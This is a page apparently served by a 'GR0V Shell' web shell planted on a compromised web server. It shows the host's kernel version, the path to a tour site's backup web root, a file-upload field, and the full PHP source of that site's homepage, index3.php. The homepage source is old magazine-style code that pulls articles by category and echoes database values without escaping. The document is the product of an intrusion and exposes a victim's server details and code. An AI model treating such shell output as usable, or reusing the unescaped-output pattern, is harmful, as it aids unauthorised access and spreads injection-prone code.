? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html_bk/promice/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html_bk/promice/index3.php

<? include("header.php");?>
<title><? echo "$headtxt_web"; ?></title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script type="text/javascript" src="coin-slider.js"></script>
<link rel="stylesheet" href="coin-slider-styles.css" type="text/css" /><td colspan="5" bgcolor="#FFFFFF"><div align="center">
      <table width="800" border="0" cellpadding="0" cellspacing="0" bgcolor="#D3D2B4">
        <tr valign="top"> 
          <td width="250" bgcolor="#FFFFFF"><? include("menu.php");?></td>
          <td width="816" bgcolor="#FFFFFF"><table width="767" border="0" cellspacing="0" cellpadding="0">
                
        <tr>
          <td colspan="3"></td>
        </tr>
        <tr>
          <td align="center" valign="top"><img src="images/bigcorners1.jpg" /></td>
          <td align="center" valign="top" background="images/bigtops.jpg">&nbsp;</td>
          <td align="center" valign="top"><img src="images/bigcorners2.jpg" width="20" height="21" /></td>
          </tr>
        <tr>
          <td width="2%" rowspan="8" align="center" valign="top"  background="images/biglefts.jpg">&nbsp;</td>
          <td width="92%" valign="top" align="center"><div id="games">
            <?
$pages = $_GET['pages'];
$select_types="select * from article  order by id desc  limit 1,4";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$selects="select * from article order by id desc limit 1";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From flash_banner_index order by OrderImg asc ";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$TitleImg = $rowss['TitleImg'];
$PathImg = $rowss['PathImg'];
$UrlLink = $rowss['UrlLink'];
$detail = mb_substr($rowss[detail],0,150,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
            <a href="<? echo "$UrlLink"; ?>" target="_blank">
              <img src="images/images_flash_banner_index/<? echo "$PathImg"; ?>" />
              <span>
                <b><? echo "$TitleImg"; ?></b><br />
                <? echo "$detail"; ?>                </span>              </a> <?
}
}
?></div>
            <script>
			$('#games').coinslider();
		</script>
            <table width="709" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="18" background="images/bgslide.jpg"><img src="images/bgleftslider.jpg" width="18" height="47" /></td>
                <td width="673" height="45" background="images/bgslide.jpg"><marquee behavior="scroll" direction="left"><a href="magazine/index.html">
                  <?
$pages = $_GET['pages'];
$select_types="select * from article order by id desc  limit 6";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$selects="select * from article  order by id desc limit 6";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article  order by id desc limit 6";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow= mb_substr($rowss[subject],0,180,'UTF-8');
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content = mb_substr($rowss[detail],0,100,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                  </a><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></span>
                  <?
}
}
?></marquee></td>
                <td width="18" background="images/bgslide.jpg"><img src="images/bgrightslider.jpg" width="18" height="47" /></td>
                </tr>
            </table></td>
          <td width="6%" rowspan="8" valign="top"  background="images/bigrights.jpg">&nbsp;</td>
          </tr>
        <tr>
          <td align="center" valign="top"><table width="768" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="256" align="center" valign="top"><table width="237" border="0" cellspacing="0" cellpadding="0" background="images/frame.gif">
                  <tr>
                    <td><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                    <td  background="images/top.jpg">&nbsp;</td>
                    <td><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                  </tr>
                  <tr>
                    <td width="18" align="center">&nbsp;</td>
                    <td width="201" align="center" bgcolor="#F7941D"><div style="font-size: 12pt; color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif">News</div></td>
                    <td width="18" align="center"  background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td height="180" align="center">&nbsp;</td>
                    <td align="center" valign="top" bgcolor="#FFFFFF"><?
$pages = $_GET['pages'];
$select_types="select * from article where article_category_id  >= 30
AND article_category_id <= 37 order by id desc  limit 1";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$selects="select * from article where article_category_id  >= 30
AND article_category_id <= 37 order by id desc limit 1";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article where article_category_id  >= 30
AND article_category_id <= 37 order by id desc limit 1";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow= mb_substr($rowss[subject],0,180,'UTF-8');
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content = mb_substr($rowss[detail],0,100,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                        <table width="201" border="0" cellspacing="1" cellpadding="1" >
                          <tr>
                            <td width="200" height="23" align="center" valign="middle"><div align="center"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif">
                                <? 
							if ($imagespicture==""){
							echo "
			<img src='images/images_article/no_pic.jpg' WIDTH=150 HEIGHT=150 BORDER=0>";
							}else
							{
echo "<a href=content.php?id=$idxs  class=lightbox rel=flowers><img src='images/images_article/$imagespicture' WIDTH=150 HEIGHT=150  BORDER=0></a>"      ;
			}
?>
                                <br />
                                <? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></span><br />
                                <span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo strip_tags("$content..."); ?></span></div></td>
                          </tr>
                          <tr>
                            <td height="7"><div align="center" style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><img src="images/line.gif" width="170" height="5" /></div></td>
                          </tr>
                        </table>
                      <?
}
}
?></td>
                    <td align="center" background="images/right.jpg"><img src="images/space.jpg" width="1" height="150" /></td>
                  </tr>
                  <tr>
                    <td align="center">&nbsp;</td>
                    <td height="16" align="center" bgcolor="#FFFFFF"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><a href="contentlist.php?PRD=1"></a></span></td>
                    <td align="center" background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                    <td bgcolor="#FFFFFF" background="images/button2.jpg">&nbsp;</td>
                    <td><img src="images/buttonright.jpg" width="18" height="19" /></td>
                  </tr>
              </table></td>
              <td width="256" align="center" valign="top"><table width="237" border="0" cellspacing="0" cellpadding="0" >
                  <tr>
                    <td><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                    <td background="images/top.jpg">&nbsp;</td>
                    <td><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                  </tr>
                  <tr>
                    <td width="18" align="center"  background="images/left.jpg">&nbsp;</td>
                    <td width="201" align="center" bgcolor="#F7941D"><div style="font-size: 12pt; color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif">Culture</div></td>
                    <td width="18" align="center"  background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td height="179" align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center" valign="top"><?
$pages = $_GET['pages'];
$select_types="select * from article where article_category_id  >= 14
AND article_category_id <= 17 order by id desc  limit 1";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b></b></center>";
}else{
		$selects="select * from article where article_category_id  >= 14
AND article_category_id <= 17 order by id desc limit 1";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article where article_category_id  >= 14
AND article_category_id <= 17 order by id desc limit 1";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow= mb_substr($rowss[subject],0,180,'UTF-8');
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content =  mb_substr($rowss[detail],0,100,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                        <table width="201" border="0" cellspacing="1" cellpadding="1" >
                          <tr>
                            <td width="197" height="23" align="center" valign="middle"><div align="center"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif">
                                <? 
							if ($imagespicture==""){
							echo "
			<img src='images/images_article/no_pic.jpg' WIDTH=150 HEIGHT=150 BORDER=0>";
							}else
							{
echo "<a href=content.php?id=$idxs  class=lightbox rel=flowers><img src='images/images_article/$imagespicture' WIDTH=150 HEIGHT=150  BORDER=0></a>"      ;
			}
?>
                                <br />
                                <? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></span><br />
                                <span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo strip_tags("$content..."); ?></span></div></td>
                          </tr>
                          <tr>
                            <td height="7"><div align="center" style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><img src="images/line.gif" width="170" height="5" /></div></td>
                          </tr>
                        </table>
                      <?
}
}
?></td>
                    <td align="center"  background="images/right.jpg"><img src="images/space.jpg" width="1" height="200" /></td>
                  </tr>
                  <tr>
                    <td align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center">&nbsp;</td>
                    <td align="center"  background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                    <td background="images/button2.jpg">&nbsp;</td>
                    <td><img src="images/buttonright.jpg" width="18" height="19" /></td>
                  </tr>
              </table></td>
              <td width="256" align="center" valign="top"><table border="0" cellpadding="0" cellspacing="0" >
                  <tr>
                    <td><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                    <td background="images/top.jpg">&nbsp;</td>
                    <td><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                  </tr>
                  <tr>
                    <td width="18" align="center" background="images/left.jpg">&nbsp;</td>
                    <td width="201" align="center" bgcolor="#F7941D"><div style="font-size: 12pt; color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif">Entertain</div></td>
                    <td width="18" align="center" background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td height="178" align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center" valign="top"><?
$pages = $_GET['pages'];
$select_types="select * from article where article_category_id  >= 18
AND article_category_id <= 23 order by id desc  limit 1";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b></b></center>";
}else{
		$selects="select * from article where article_category_id  >= 18
AND article_category_id <= 23 order by id desc limit 1";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article where article_category_id  >= 18
AND article_category_id <= 23 order by id desc limit 1";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow= mb_substr($rowss[subject],0,180,'UTF-8');
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content =  mb_substr($rowss[detail],0,100,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                        <table width="199" border="0" cellspacing="1" cellpadding="1" >
                          <tr>
                            <td width="195" height="23" align="center" valign="middle"><div align="center"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif">
                                <? 
							if ($imagespicture==""){
							echo "
			<img src='images/images_article/no_pic.jpg' WIDTH=150 HEIGHT=150 BORDER=0>";
							}else
							{
echo "<a href=content.php?id=$idxs  class=lightbox rel=flowers><img src='images/images_article/$imagespicture' WIDTH=150 HEIGHT=150  BORDER=0></a>"      ;
			}
?>
                                <br />
                                <? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></span><br />
                                <span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo strip_tags("$content..."); ?></span></div></td>
                          </tr>
                          <tr>
                            <td height="7"><div align="center" style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><img src="images/line.gif" width="170" height="5" /></div></td>
                          </tr>
                        </table>
                      <?
}
}
?></td>
                    <td align="center" background="images/right.jpg"><img src="images/space.jpg" width="1" height="150" /></td>
                  </tr>
                  <tr>
                    <td align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center">&nbsp;</td>
                    <td align="center" background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                    <td background="images/button2.jpg">&nbsp;</td>
                    <td><img src="images/buttonright.jpg" width="18" height="19" /></td>
                  </tr>
              </table></td>
            </tr>
            <tr>
              <td align="center">&nbsp;</td>
              <td align="center">&nbsp;</td>
              <td align="center">&nbsp;</td>
            </tr>
            <tr>
              <td align="center"><table width="236" border="0" cellpadding="0" cellspacing="0" >
                  <tr>
                    <td><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                    <td background="images/top.jpg">&nbsp;</td>
                    <td><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                  </tr>
                  <tr>
                    <td width="18" align="center" background="images/left.jpg">&nbsp;</td>
                    <td width="200" align="center" bgcolor="#F7941D"><div style="font-size: 12pt; color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif">Travel</div></td>
                    <td width="18" align="center" background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td height="180" align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center" valign="top"><?
$pages = $_GET['pages'];
$select_types="select * from article where article_category_id  >= 40
AND article_category_id <= 42 order by id desc  limit 1";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b></b></center>";
}else{
		$selects="select * from article where article_category_id  >= 40
AND article_category_id <= 42 order by id desc limit 1";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article where article_category_id  >= 40
AND article_category_id <= 42 order by id desc limit 1";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow= mb_substr($rowss[subject],0,180,'UTF-8');
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content =  mb_substr($rowss[detail],0,100,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                        <table width="200" border="0" cellspacing="1" cellpadding="1" >
                          <tr>
                            <td width="196" height="23" align="center" valign="middle"><div align="center"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif">
                                <? 
							if ($imagespicture==""){
							echo "
			<img src='images/images_article/no_pic.jpg' WIDTH=150 HEIGHT=150 BORDER=0>";
							}else
							{
echo "<a href=content.php?id=$idxs  class=lightbox rel=flowers><img src='images/images_article/$imagespicture' WIDTH=150 HEIGHT=150  BORDER=0></a>"      ;
			}
?>
                                <br />
                                <? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></span><br />
                                <span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo strip_tags("$content..."); ?></span></div></td>
                          </tr>
                          <tr>
                            <td height="7"><div align="center" style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><img src="images/line.gif" width="170" height="5" /></div></td>
                          </tr>
                        </table>
                      <?
}
}
?></td>
                    <td align="center" background="images/right.jpg"><img src="images/space.jpg" width="1" height="150" /></td>
                  </tr>
                  <tr>
                    <td align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center">&nbsp;</td>
                    <td align="center" background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                    <td background="images/button2.jpg">&nbsp;</td>
                    <td><img src="images/buttonright.jpg" width="18" height="19" /></td>
                  </tr>
              </table></td>
              <td align="center"><table width="240" border="0" cellspacing="0" cellpadding="0" >
                  <tr>
                    <td><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                    <td background="images/top.jpg">&nbsp;</td>
                    <td><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                  </tr>
                  <tr>
                    <td width="18" align="center" background="images/left.jpg">&nbsp;</td>
                    <td width="204" align="center" bgcolor="#F7941D"><div style="font-size: 12pt; color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif">Food</div></td>
                    <td width="18" align="center" background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td height="176" align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center" valign="top" ><?
$pages = $_GET['pages'];
$select_types="select * from article where article_category_id=5 or article_category_id=17  order by id desc  limit 1";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b></b></center>";
}else{
		$selects="select * from article where article_category_id=5  or article_category_id=17 order by id desc limit 1";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article where article_category_id=5  or article_category_id=17 order by id desc limit 1";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow= mb_substr($rowss[subject],0,180,'UTF-8');
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content =  mb_substr($rowss[detail],0,100,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                        <table width="204" border="0" cellspacing="1" cellpadding="1" >
                          <tr>
                            <td width="200" height="23" align="center" valign="middle"><div align="center"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif">
                                <? 
							if ($imagespicture==""){
							echo "
			<img src='images/images_article/no_pic.jpg' WIDTH=150 HEIGHT=150 BORDER=0>";
							}else
							{
echo "<a href=content.php?id=$idxs  class=lightbox rel=flowers><img src='images/images_article/$imagespicture' WIDTH=150 HEIGHT=150  BORDER=0></a>"      ;
			}
?>
                                <br />
                                <? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></span><br />
                                <span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo strip_tags("$content..."); ?></span></div></td>
                          </tr>
                          <tr>
                            <td height="7"><div align="center" style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><img src="images/line.gif" width="170" height="5" /></div></td>
                          </tr>
                        </table>
                      <?
}
}
?></td>
                    <td align="center" background="images/right.jpg"><img src="images/space.jpg" width="1" height="150" /></td>
                  </tr>
                  <tr>
                    <td align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center">&nbsp;</td>
                    <td align="center" background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                    <td background="images/button2.jpg">&nbsp;</td>
                    <td><img src="images/buttonright.jpg" width="18" height="19" /></td>
                  </tr>
              </table></td>
              <td align="center"><table width="250" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                    <td background="images/top.jpg">&nbsp;</td>
                    <td><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                  </tr>
                  <tr>
                    <td width="18" align="center" background="images/left.jpg">&nbsp;</td>
                    <td width="311" align="center" bgcolor="#F7941D"><div style="font-size: 12pt; color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif">Event</div></td>
                    <td width="21" align="center" background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td height="178" align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center" valign="top"><?
$pages = $_GET['pages'];
$select_types="select * from article where article_category_id=6  or article_category_id=24 order by id desc  limit 1";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b></b></center>";
}else{
		$selects="select * from article where article_category_id=6 or article_category_id=24 order by id desc limit 1";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article where article_category_id=6  or article_category_id=24 order by id desc limit 1";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow= mb_substr($rowss[subject],0,180,'UTF-8');
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content =  mb_substr($rowss[detail],0,100,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                        <table width="220" border="0" cellspacing="1" cellpadding="1" >
                          <tr>
                            <td width="200" height="23" align="center" valign="middle"><div align="center"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif">
                                <? 
							if ($imagespicture==""){
							echo "
			<img src='images/images_article/no_pic.jpg' WIDTH=150 HEIGHT=150 BORDER=0>";
							}else
							{
echo "<a href=content.php?id=$idxs  class=lightbox rel=flowers><img src='images/images_article/$imagespicture' WIDTH=150 HEIGHT=150  BORDER=0></a>"      ;
			}
?>
                                <br />
                                <? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></span><br />
                                <span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo strip_tags("$content..."); ?></span></div></td>
                          </tr>
                          <tr>
                            <td height="7"><div align="center" style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><img src="images/line.gif" width="170" height="5" /></div></td>
                          </tr>
                        </table>
                      <?
}
}
?></td>
                    <td align="center" background="images/right.jpg"><img src="images/space.jpg" width="1" height="150" /></td>
                  </tr>
                  <tr>
                    <td align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center">&nbsp;</td>
                    <td align="center" background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                    <td background="images/button2.jpg">&nbsp;</td>
                    <td><img src="images/buttonright.jpg" width="18" height="19" /></td>
                  </tr>
              </table></td>
            </tr>
            <tr>
              <td align="center">&nbsp;</td>
              <td colspan="2" align="center">&nbsp;</td>
            </tr>
            <tr>
              <td align="center"><table width="250" border="0" cellspacing="0" cellpadding="0" >
                  <tr>
                    <td><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                    <td background="images/top.jpg">&nbsp;</td>
                    <td><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                  </tr>
                  <tr>
                    <td width="18" align="center" background="images/left.jpg">&nbsp;</td>
                    <td width="319" align="center" bgcolor="#F7941D"><div style="font-size: 12pt; color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif">Interview</div></td>
                    <td width="13" align="center" background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td height="178" align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center" valign="top"><?
$pages = $_GET['pages'];
$select_types="select * from article where article_category_id  >= 25
AND article_category_id <= 29 order by id desc  limit 1";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b></b></center>";
}else{
		$selects="select * from article where article_category_id  >= 25
AND article_category_id <= 29 order by id desc limit 1";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
